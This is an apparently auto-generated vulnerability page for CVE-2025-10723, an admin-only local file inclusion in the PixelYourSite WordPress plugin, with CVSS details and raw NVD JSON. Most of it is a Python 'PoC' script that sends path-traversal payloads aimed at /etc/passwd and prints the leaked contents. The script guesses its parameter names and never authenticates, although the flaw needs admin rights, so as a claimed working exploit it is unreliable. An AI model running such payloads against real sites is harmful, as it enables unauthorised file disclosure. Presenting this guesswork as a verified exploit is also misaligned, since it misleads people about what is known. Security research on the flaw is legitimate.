Security Vulnerability Report
中文
CVE-2025-10723 CVSS 2.7 LOW

CVE-2025-10723

Published: 2025-10-24 06:15:35
Last Modified: 2026-04-15 00:35:42

Description

The PixelYourSite WordPress plugin before 11.1.2 does not validate some URL parameters before using them to generate paths passed to function/s, allowing any admins to perform LFI attacks

CVSS Details

CVSS Score
2.7
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

PixelYourSite < 11.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-10723 PoC - PixelYourSite LFI # Target: WordPress site with vulnerable PixelYourSite plugin (< 11.1.2) # Requirement: Admin privileges def exploit_lfi(target_url, file_path='../../../../../../etc/passwd'): """ Exploit Local File Inclusion vulnerability in PixelYourSite plugin Args: target_url: Base URL of the WordPress site file_path: Path to the file to read (default: /etc/passwd) Returns: Content of the requested file """ # Target the PixelYourSite settings endpoint # The vulnerable parameter name may vary, common patterns include: # pys_settings, pixelyoursite_settings, etc. vulnerable_params = [ 'pys_settings[some_param]', 'pixelyoursite[settings]', 'pys[ajax_endpoint]', ] for param in vulnerable_params: # Construct the malicious URL with LFI payload payload = {param: file_path} try: response = requests.get(target_url, params=payload, timeout=10) # Check if the response contains file content if 'root:' in response.text or 'daemon:' in response.text: print(f'[+] Successfully exploited via parameter: {param}') print(f'[+] File content:\n{response.text[:500]}') return response.text elif response.status_code == 200: print(f'[*] Parameter {param} responded but content unclear') except requests.RequestException as e: print(f'[-] Error with parameter {param}: {e}') print('[-] Exploitation failed - target may not be vulnerable or fixed') return None if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-10723_poc.py <target_url> [file_path]') print('Example: python cve-2025-10723_poc.py http://example.com/wp-admin/admin.php') sys.exit(1) target = sys.argv[1] file_to_read = sys.argv[2] if len(sys.argv) > 2 else '../../../../../../etc/passwd' print(f'[*] Targeting: {target}') print(f'[*] Attempting to read: {file_to_read}') exploit_lfi(target, file_to_read)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10723", "sourceIdentifier": "[email protected]", "published": "2025-10-24T06:15:34.670", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The PixelYourSite WordPress plugin before 11.1.2 does not validate some URL parameters before using them to generate paths passed to function/s, allowing any admins to perform LFI attacks"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://wpscan.com/vulnerability/88a99f9d-dc7f-4c04-8734-77295c8656bf/", "source": "[email protected]"}]}}